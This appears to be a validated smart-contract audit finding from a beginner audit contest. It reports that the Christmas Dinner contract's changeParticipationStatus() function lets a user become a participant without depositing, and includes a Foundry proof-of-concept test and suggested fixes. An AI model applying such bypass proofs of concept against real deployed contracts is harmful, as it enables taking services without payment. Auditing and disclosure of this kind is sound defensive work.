Christmas Dinner
First Flight #31
Beginner FriendlyFoundrySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: low
Valid

Using the `changeParticipationStatus()` function to bypass deposit and become a participant

k3ysk1lls

Summary

The contract allows you to bypass the deposit() or receive() functions and still become a participant by using the changeParticipationStatus() function only.

Vulnerability Details & Impact

The user can use the changeParticipationStatus() function to become a participant without having to deposit money using the deposit() or receive() function.

Tools Used

See function testParticipantWithoutDeposit() in the foundry test below:

//SPDX-License-Identifier: MIT
​
pragma solidity 0.8.27;
​
import {Test, console} from "forge-std/Test.sol";
import {ChristmasDinner} from "../src/ChristmasDinner.sol";
import {ERC20Mock} from "../lib/openzeppelin-contracts/contracts/mocks/token/ERC20Mock.sol";
​
contract XmasDinnerTest is Test {
ChristmasDinner cd;
ERC20Mock wbtc;
ERC20Mock weth;
ERC20Mock usdc;
​
uint256 constant DEADLINE = 7;
address deployer = makeAddr("deployer");
address user1;
​
function setUp() public {
wbtc = new ERC20Mock();
weth = new ERC20Mock();
usdc = new ERC20Mock();
vm.startPrank(deployer);
cd = new ChristmasDinner(address(wbtc), address(weth), address(usdc));
vm.warp(1);
cd.setDeadline(DEADLINE);
vm.stopPrank();
_makeParticipants();
}
​
function testParticipantWithoutDeposit() public {
//assert user1 is not yet a participant
assert(!cd.getParticipationStatus(user1));
vm.prank(user1);
cd.changeParticipationStatus();
//assert user1 is a participant
assert(cd.getParticipationStatus(user1));
}
​
function _makeParticipants() internal {
user1 = makeAddr("user1");
wbtc.mint(user1, 2e18);
weth.mint(user1, 2e18);
usdc.mint(user1, 2e18);
vm.startPrank(user1);
wbtc.approve(address(cd), 2e18);
weth.approve(address(cd), 2e18);
usdc.approve(address(cd), 2e18);
vm.stopPrank();
}
}
​

Recommendations

There are two ways to solve this problem:

  1. Prevent from changing status for non-participant users. Only participants can use changeParticipationStatus() function.

  2. Before changing the status, check whether the user has already made a donation (by analyzing the balances and etherBalance variables)

Updates

Lead Judging Commences

0xtimefliez Lead Judge 8 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Deposit function lacks functionality

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.